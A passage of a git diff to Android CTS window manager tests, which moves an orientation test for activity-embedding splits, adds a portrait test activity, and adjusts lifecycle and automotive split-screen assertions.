public static final ComponentName SECOND_ACTIVITY = component("SecondActivity");
+ public static final ComponentName PORTRAIT_ACTIVITY = component("PortraitActivity");
+
public static final ComponentName SECOND_ACTIVITY_UNKNOWN_EMBEDDING_CERTS =
component("SecondActivityUnknownEmbeddingCerts");
diff --git a/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/PortraitActivity.java b/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/PortraitActivity.java
new file mode 100644
index 00000000000..7345fe69177
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/PortraitActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.second;
+
+import android.app.Activity;
+
+/**
+ * A test activity that is in portrait orientation.
+ */
+public class PortraitActivity extends Activity {
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java
index fb08897c4ca..89ca9abb350 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java
@@ -429,20 +429,15 @@ public class ActivityEmbeddingLifecycleTests extends ActivityEmbeddingTestBase {
"secondaryActivity2", mSplitInfoConsumer);
waitAndAssertResumed(secondaryActivity);
waitAndAssertResumed(secondaryActivity2);
- mEventLog.clear();
// Finish the middle activity
secondaryActivity.finish();
waitAndAssertResumed(secondaryActivity2);
waitAndAssertNotVisible(primaryActivity);
- List<Pair<String, String>> expected = List.of(
- transition(TestActivityWithId.class, ON_PAUSE),
- transition(TestConfigChangeHandlingActivity.class, ON_STOP));
- assertTrue("Finish middle activity in multi-split",
- mLifecycleTracker.waitForConditionWithTimeout(() ->
- checkOrder(mEventLog, expected)));
+
// There is no guarantee on the order, because the removal may be delayed until the next
// resumed becomes visible.
+ waitAndAssertActivityOnStop(TestConfigChangeHandlingActivity.class);
waitAndAssertActivityOnDestroy(TestActivityWithId.class);
waitAndAssertSplitStatesUpdated();
}
@@ -472,20 +467,15 @@ public class ActivityEmbeddingLifecycleTests extends ActivityEmbeddingTestBase {
"secondaryActivity2", mSplitInfoConsumer);
waitAndAssertResumed(secondaryActivity);
waitAndAssertResumed(secondaryActivity2);
- mEventLog.clear();
// Finish the middle activity
secondaryActivity.finish();
waitAndAssertResumed(secondaryActivity2);
waitAndAssertNotVisible(primaryActivity);
- List<Pair<String, String>> expected = List.of(
- transition(TestActivityWithId.class, ON_PAUSE),
- transition(TestConfigChangeHandlingActivity.class, ON_STOP));
- assertTrue("Finish middle activity in multi-split",
- mLifecycleTracker.waitForConditionWithTimeout(() ->
- checkOrder(mEventLog, expected)));
+
// There is no guarantee on the order, because the removal may be delayed until the next
// resumed becomes visible.
+ waitAndAssertActivityOnStop(TestConfigChangeHandlingActivity.class);
waitAndAssertActivityOnDestroy(TestActivityWithId.class);
waitAndAssertSplitStatesUpdated();
}
@@ -581,6 +571,10 @@ public class ActivityEmbeddingLifecycleTests extends ActivityEmbeddingTestBase {
waitAndAssertNotVisible(primaryActivity);
}
+ private void waitAndAssertActivityOnStop(Class<? extends Activity> activityClass) {
+ mLifecycleTracker.waitAndAssertActivityCurrentState(activityClass, ON_STOP);
+ }
+
private void waitAndAssertActivityOnDestroy(Class<? extends Activity> activityClass) {
mLifecycleTracker.waitAndAssertActivityCurrentState(activityClass, ON_DESTROY);
}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java
index d0ad8d5255f..b4eea9d54e6 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java
@@ -18,6 +18,8 @@ package android.server.wm.jetpack.embedding;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
+import static android.server.wm.jetpack.second.Components.PORTRAIT_ACTIVITY;
import static android.server.wm.jetpack.second.Components.SECOND_UNTRUSTED_EMBEDDING_ACTIVITY;
import static android.server.wm.jetpack.signed.Components.SIGNED_EMBEDDING_ACTIVITY;
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
@@ -27,25 +29,33 @@ import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityOnDisplaySingleTop;
import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.Surface.ROTATION_0;
+import static android.view.Surface.ROTATION_90;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.UiAutomation;
import android.content.ComponentName;
+import android.content.res.Configuration;
import android.os.Bundle;
+import android.os.SystemProperties;
import android.platform.test.annotations.Presubmit;
import android.server.wm.ActivityManagerTestBase;
import android.server.wm.Condition;
import android.server.wm.NestedShellPermission;
+import android.server.wm.RotationSession;
import android.server.wm.WindowManagerState;
import android.server.wm.jetpack.utils.TestActivityKnownEmbeddingCerts;
import android.server.wm.jetpack.utils.TestActivityLauncher;
import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+import android.view.Display;
+import android.view.WindowManager;
import androidx.annotation.NonNull;
import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -199,6 +209,49 @@ public class ActivityEmbeddingPolicyTests extends ActivityManagerTestBase {
}
}
+
+ /**
+ * Verifies that the orientation request from the Activity is ignored if app uses
+ * ActivityEmbedding on a large screen device that supports AE.
+ */
+ @ApiTest(apis = {
+ "R.attr#screenOrientation",
+ "android.view.WindowManager#PROPERTY_ACTIVITY_EMBEDDING_SPLITS_ENABLED"
+ })
+ @Test
+ public void testIgnoreOrientationRequestForActivityEmbeddingSplits() {
+ // Skip the test on devices without WM extensions.
+ assumeTrue(SystemProperties.getBoolean("persist.wm.extensions.enabled", false));
+
+ // Skip the test if this is not a large screen device
+ assumeTrue(getDisplayConfiguration().smallestScreenWidthDp
+ >= WindowManager.LARGE_SCREEN_SMALLEST_SCREEN_WIDTH_DP);
+
+ // Rotate the device to landscape
+ final RotationSession rotationSession = createManagedRotationSession();
+ final int[] rotations = { ROTATION_0, ROTATION_90 };
+ for (final int rotation : rotations) {
+ if (getDisplayConfiguration().orientation == ORIENTATION_LANDSCAPE) {
+ break;
+ }
+ rotationSession.set(rotation);
+ }
+ assumeTrue(getDisplayConfiguration().orientation == ORIENTATION_LANDSCAPE);
+
+ // Launch a fixed-portrait activity
+ startActivityOnDisplay(Display.DEFAULT_DISPLAY, PORTRAIT_ACTIVITY);
+
+ // The display should be remained in landscape.
+ assertEquals("The display should be remained in landscape", ORIENTATION_LANDSCAPE,
+ getDisplayConfiguration().orientation);
+ }
+
+ private Configuration getDisplayConfiguration() {
+ mWmState.computeState();
+ WindowManagerState.DisplayContent display = mWmState.getDisplay(DEFAULT_DISPLAY);
+ return display.getFullConfiguration();
+ }
+
static void waitForOrFailWithRapidRetry(@NonNull String message,
@NonNull BooleanSupplier condition) {
Condition.waitFor(new Condition<>(message, condition)
diff --git a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
index 40910d7ecb4..1c38c6a2416 100644
--- a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
@@ -31,7 +31,8 @@
android:exported="true"/>
<activity
android:name="android.server.wm.overlay.ExitAnimationActivity"
- android:exported="true"/>
+ android:exported="true"
+ android:screenOrientation="nosensor" />
<activity
android:name="android.server.wm.overlay.ToastActivity"
android:exported="true"/>
diff --git a/tests/framework/base/windowmanager/res/drawable/background_image.xml b/tests/framework/base/windowmanager/res/drawable/background_image.xml
deleted file mode 100644
index 37f40e185c0..00000000000
--- a/tests/framework/base/windowmanager/res/drawable/background_image.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2023 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
- -->
-<vector xmlns:android="http://schemas.android.com/apk/res/android"
- android:width="2px"
- android:height="2px"
- android:viewportWidth="2"
- android:viewportHeight="2">
- <group>
- <path
- android:name="blue"
- android:pathData="m0,0l1,0l0,2l-1,0l0-2z"
- android:fillColor="#0000FF" />
- <path
- android:name="red"
- android:pathData="m1,0l1,0l0,2l-1,0l0-2z"
- android:fillColor="#FF0000" />
- </group>
-</vector>
diff --git a/tests/framework/base/windowmanager/res/layout/background_image.xml b/tests/framework/base/windowmanager/res/layout/background_image.xml
new file mode 100644
index 00000000000..2d9c798090d
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/layout/background_image.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="horizontal">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:layout_weight="1"
+ android:background="#ff0000ff"/>
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:layout_weight="1"
+ android:background="#ffff0000"/>
+
+</LinearLayout>
diff --git a/tests/framework/base/windowmanager/res/values/styles.xml b/tests/framework/base/windowmanager/res/values/styles.xml
index 00f9000bdd0..65092eca8fc 100644
--- a/tests/framework/base/windowmanager/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/res/values/styles.xml
@@ -67,7 +67,6 @@
<item name="android:windowNoTitle">true</item>
<item name="android:windowLayoutInDisplayCutoutMode">always</item>
<item name="android:windowSoftInputMode">stateHidden</item>
- <item name="android:windowBackground">@drawable/background_image</item>
</style>
<style name="BlurryDialog" parent="TranslucentDialog">
<item name="android:windowBackgroundBlurRadius">@dimen/test_background_blur_radius</item>
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 1bc31c11a35..c255eab0198 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -202,7 +202,6 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
@Test
public void testTurnScreenOnActivity() {
-
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
final ActivitySessionClient activityClient = createManagedActivityClientSession();
testTurnScreenOnActivity(lockScreenSession, activityClient,
@@ -210,6 +209,15 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
testTurnScreenOnActivity(lockScreenSession, activityClient,
false /* useWindowFlags */);
+ // On Auto split-screen multi-tasking UI, testTurnScreenOnActivity() can lead to lifecycle
+ // state transitions in Home because of device sleep and also because of config change
+ // (b/308213530).
+ // Wait for the existing TurnScreenOnActivity to finish and the home activity to be in
+ // stopped state as the display is OFF.
+ if (supportsLockScreen()) {
+ mWmState.waitForAllStoppedActivities();
+ }
+
// Start TURN_SCREEN_ON_ACTIVITY
launchActivity(TURN_SCREEN_ON_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
@@ -398,7 +406,10 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
mBroadcastActionTrigger.finishBroadcastReceiverActivity();
mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
- mWmState.assertHomeActivityVisible(false);
+ if (!hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove this if condition when root tasks setup is moved to SysUI.
+ mWmState.assertHomeActivityVisible(false);
+ }
}
@Test
@@ -621,7 +632,12 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ if (hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove when root tasks setup is moved to SysUI.
+ waitAndAssertResumedActivity(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ } else {
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ }
}
@Test
@@ -678,7 +694,13 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+
+ if (hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove when root tasks setup is moved to SysUI.
+ waitAndAssertResumedActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+ } else {
+ assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+ }
}
@Test
@@ -736,7 +758,12 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
mInstrumentation.getUiAutomation().syncInputTransactions();
mWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ if (hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove when root tasks setup is moved to SysUI.
+ waitAndAssertResumedActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ } else {
+ assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ }
lockScreenSession.sleepDevice();
// We should make sure test activity stopped to prevent a false alarm stop state
@@ -855,13 +882,4 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
mWmState.waitForWindowSurfaceShown(getWindowName(activityBehind), visible);
mWmState.assertVisibility(activityBehind, visible);
}
-
- /**
- * Checks whether the device has automotive split-screen multitasking feature enabled
- */
- private boolean hasAutomotiveSplitscreenMultitaskingFeature() {
- return mContext.getPackageManager()
- .hasSystemFeature(/* PackageManager.FEATURE_CAR_SPLITSCREEN_MULTITASKING */
- "android.software.car.splitscreen_multitasking") && isCar();
- }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index 71b82ae1272..5f0f9fbead9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -37,7 +37,6 @@ import android.platform.test.annotations.Presubmit;
import android.provider.Settings;
import android.server.wm.cts.R;
import android.server.wm.settings.SettingsSession;
-import android.view.View;
import android.view.WindowManager;
import androidx.test.rule.ActivityTestRule;
@@ -424,7 +423,7 @@ public class BlurTests extends WindowManagerTestBase {
super.onCreate(savedInstanceState);
getSplashScreen().setOnExitAnimationListener(view -> view.remove());
- setContentView(new View(this));
+ setContentView(R.layout.background_image);
getWindow().setDecorFitsSystemWindows(false);
getWindow().getInsetsController().hide(systemBars());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index 5511c36cb06..c9e3b6ccb28 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -742,17 +742,20 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
.setTargetActivity(TEST_ACTIVITY).setNewTask(true)
.setDisplayId(DEFAULT_DISPLAY).execute();
final int rootTaskId = mWmState.getFrontRootTaskId(DEFAULT_DISPLAY);
+ final int taskId = mWmState.getRootTask(rootTaskId).getTaskId();
getLaunchActivityBuilder().setUseInstrumentation()
.setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).setNewTask(true)
.setDisplayId(DEFAULT_DISPLAY).execute();
+ mayLaunchHomeActivityForCar();
+
final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
getLaunchActivityBuilder().setUseInstrumentation().setWithShellPermission(true)
.setTargetActivity(TEST_ACTIVITY).setNewTask(true)
.setDisplayId(newDisplay.mId).execute();
assertNotEquals("Top focus root task should not be on default display",
- rootTaskId, mWmState.getFocusedTaskId());
+ taskId, mWmState.getRootTask(mWmState.getFocusedTaskId()).getTaskId());
mBroadcastActionTrigger.launchActivityNewTask(getActivityName(TEST_ACTIVITY));
waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 35f565bd4e1..5dd9de79537 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -441,6 +441,7 @@ public class MultiDisplayPolicyTests extends MultiDisplayTestBase {
*/
@Test
public void testStackFocusSwitchOnDisplayRemoved3() {
+ assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
// Start an activity on default display to determine default stack.
launchActivity(BROADCAST_RECEIVER_ACTIVITY);
final int focusedStackWindowingMode = mWmState.getFrontRootTaskWindowingMode(
@@ -767,6 +768,7 @@ public class MultiDisplayPolicyTests extends MultiDisplayTestBase {
@Test
public void testAppTransitionForActivityOnDifferentDisplay() {
assumeFalse(ENABLE_SHELL_TRANSITIONS);
+ assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
final TestActivitySession<StandardActivity> transitionActivitySession =
createManagedTestActivitySession();
// Create new simulated display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index bb01bbbe86f..5bc7da3425f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -50,6 +50,7 @@ import static android.server.wm.app.Components.PIP_ACTIVITY_WITH_MINIMAL_SIZE;
import static android.server.wm.app.Components.PIP_ACTIVITY_WITH_SAME_AFFINITY;
import static android.server.wm.app.Components.PIP_ACTIVITY_WITH_TINY_MINIMAL_SIZE;
import static android.server.wm.app.Components.PIP_ON_STOP_ACTIVITY;
+import static android.server.wm.app.Components.PORTRAIT_ORIENTATION_ACTIVITY;
import static android.server.wm.app.Components.PipActivity.ACTION_ENTER_PIP;
import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
import static android.server.wm.app.Components.PipActivity.ACTION_FINISH_LAUNCH_INTO_PIP_HOST;
@@ -90,7 +91,6 @@ import static android.server.wm.app.Components.TEST_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
import static android.server.wm.app.Components.TestActivity.EXTRA_CONFIGURATION;
-import static android.server.wm.app.Components.TestActivity.EXTRA_FIXED_ORIENTATION;
import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
import static android.server.wm.app27.Components.SDK_27_LAUNCH_ENTER_PIP_ACTIVITY;
import static android.server.wm.app27.Components.SDK_27_PIP_ACTIVITY;
@@ -297,13 +297,18 @@ public class PinnedStackTests extends ActivityManagerTestBase {
@Test
public void testEnterPipToOtherOrientation() {
assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
+ final TransitionAnimationScaleSession transitionAnimationScaleSession =
+ mObjectTracker.manage(new TransitionAnimationScaleSession());
+ // Skip unimportant animations.
+ transitionAnimationScaleSession.set(0f);
// Launch a portrait only app on the fullscreen stack
- launchActivity(TEST_ACTIVITY,
- extraString(EXTRA_FIXED_ORIENTATION, String.valueOf(SCREEN_ORIENTATION_PORTRAIT)));
+ launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+ mInstrumentation.getUiAutomation().syncInputTransactions();
// Launch the PiP activity fixed as landscape
launchActivity(PIP_ACTIVITY,
extraString(EXTRA_PIP_ORIENTATION, String.valueOf(SCREEN_ORIENTATION_LANDSCAPE)));
mWmState.waitForActivityOrientation(PIP_ACTIVITY, Configuration.ORIENTATION_LANDSCAPE);
+ mInstrumentation.getUiAutomation().syncInputTransactions();
// Enter PiP, and assert that the PiP is within bounds now that the device is back in
// portrait
mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
@@ -1917,7 +1922,8 @@ public class PinnedStackTests extends ActivityManagerTestBase {
mWmState.waitForWithAmState(wmState -> {
Task task = wmState.getTaskByActivity(activityName);
return task != null
- && task.getActivity(activityName).getWindowingMode() == WINDOWING_MODE_PINNED;
+ && task.getActivity(activityName).getWindowingMode() == WINDOWING_MODE_PINNED
+ && task.isVisible();
}, "checking task windowing mode");
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 8cc5ca5bc01..c9178dd12e6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -19,15 +19,11 @@ package android.server.wm;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
-import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
import static android.server.wm.SplitActivityLifecycleTest.SplitTestActivity.EXTRA_SET_RESULT_AND_FINISH;
import static android.server.wm.SplitActivityLifecycleTest.SplitTestActivity.EXTRA_SHOW_WHEN_LOCKED;
import static android.server.wm.WindowManagerState.STATE_STARTED;
import static android.server.wm.WindowManagerState.STATE_STOPPED;
import static android.view.Display.DEFAULT_DISPLAY;
-import static android.view.Surface.ROTATION_0;
-import static android.view.Surface.ROTATION_90;
import static android.window.TaskFragmentOrganizer.TASK_FRAGMENT_TRANSIT_CHANGE;
import static android.window.TaskFragmentOrganizer.TASK_FRAGMENT_TRANSIT_OPEN;
@@ -40,14 +36,11 @@ import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.content.res.Configuration;
import android.graphics.Rect;
import android.os.Bundle;
import android.os.IBinder;
-import android.os.SystemProperties;
import android.platform.test.annotations.Presubmit;
import android.server.wm.WindowManagerState.TaskFragment;
-import android.view.WindowManager;
import android.window.TaskFragmentCreationParams;
import android.window.TaskFragmentInfo;
import android.window.WindowContainerToken;
@@ -583,44 +576,6 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
"Activity A is not fully occluded and must be visible and started");
}
- @Test
- public void testIgnoreOrientationRequestForActivityEmbeddingSplits() {
- // Skip the test on devices without WM extensions.
- assumeTrue(SystemProperties.getBoolean("persist.wm.extensions.enabled", false));
-
- // Skip the test if this is not a large screen device
- assumeTrue(getDisplayConfiguration().smallestScreenWidthDp
- >= WindowManager.LARGE_SCREEN_SMALLEST_SCREEN_WIDTH_DP);
-
- // Rotate the device to landscape
- final RotationSession rotationSession = createManagedRotationSession();
- final int[] rotations = { ROTATION_0, ROTATION_90 };
- for (final int rotation : rotations) {
- if (getDisplayConfiguration().orientation == ORIENTATION_LANDSCAPE) {
- break;
- }
- rotationSession.set(rotation);
- }
- assumeTrue(getDisplayConfiguration().orientation == ORIENTATION_LANDSCAPE);
-
- // Launch a fixed-portrait activity
- Activity activity = startActivityInWindowingModeFullScreen(PortraitActivity.class);
-
- // The activity should be displayed in portrait while the display is remained in landscape.
- assertWithMessage("The activity should be displayed in portrait")
- .that(activity.getResources().getConfiguration().orientation)
- .isEqualTo(ORIENTATION_PORTRAIT);
- assertWithMessage("The display should be remained in landscape")
- .that(getDisplayConfiguration().orientation)
- .isEqualTo(ORIENTATION_LANDSCAPE);
- }
-
- private Configuration getDisplayConfiguration() {
- mWmState.computeState();
- WindowManagerState.DisplayContent display = mWmState.getDisplay(DEFAULT_DISPLAY);
- return display.mFullConfiguration;
- }
-
/**
* Verifies starting an Activity on the adjacent TaskFragment and able to get the result.
*/
@@ -677,7 +632,6 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
public static class ActivityA extends SplitTestActivity {}
public static class ActivityB extends SplitTestActivity {}
public static class ActivityC extends SplitTestActivity {}
- public static class PortraitActivity extends SplitTestActivity {}
public static class TranslucentActivity extends SplitTestActivity {}
public static class SplitTestActivity extends FocusableActivity {
public static final String EXTRA_SHOW_WHEN_LOCKED = "showWhenLocked";
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index 60a8017a9f4..ef17de28a03 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -688,9 +688,8 @@ public class ActivityStarterTests extends ActivityLifecycleClientTestBase {
.execute();
mWmState.waitForActivityState(STANDARD_ACTIVITY, STATE_RESUMED);
- // Make sure the activity is finished.
- assertEquals("Instance of the activity in its task must be cleared", 0,
- mWmState.getActivityCountInTask(taskId, FINISH_ON_TASK_LAUNCH_ACTIVITY));
+ // Make sure the activity is removed.
+ mWmState.waitAndAssertActivityRemoved(FINISH_ON_TASK_LAUNCH_ACTIVITY);
}
@Test
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index fdcd640585d..ed0c1b92393 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -961,7 +961,7 @@ public abstract class ActivityManagerTestBase {
mWmState.computeState();
final List<Task> rootTasks = mWmState.getRootTasks();
for (Task rootTask : rootTasks) {
- if (rootTask.getTaskId() == taskId) {
+ if (rootTask.getRootTaskId() == taskId) {
return rootTask;
}
}
@@ -3481,4 +3481,13 @@ public abstract class ActivityManagerTestBase {
predicate).findFirst();
insetsOptional.ifPresent(insets -> insets.insetGivenFrame(inOutBounds));
}
+
+ /**
+ * Checks whether the device has automotive split-screen multitasking feature enabled
+ */
+ boolean hasAutomotiveSplitscreenMultitaskingFeature() {
+ return mContext.getPackageManager()
+ .hasSystemFeature(/* PackageManager.FEATURE_CAR_SPLITSCREEN_MULTITASKING */
+ "android.software.car.splitscreen_multitasking") && isCar();
+ }
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 71d2c08ba07..b6fd395fd87 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -499,7 +499,7 @@ public class WindowManagerState {
return mIsHomeRecentsComponent;
}
- DisplayContent getDisplay(int displayId) {
+ public DisplayContent getDisplay(int displayId) {
for (DisplayContent display : mDisplays) {
if (display.mId == displayId) {
return display;
@@ -1906,6 +1906,10 @@ public class WindowManagerState {
mMergedOverrideConfiguration.setTo(extract(proto.mergedOverrideConfiguration));
}
+ public Configuration getFullConfiguration() {
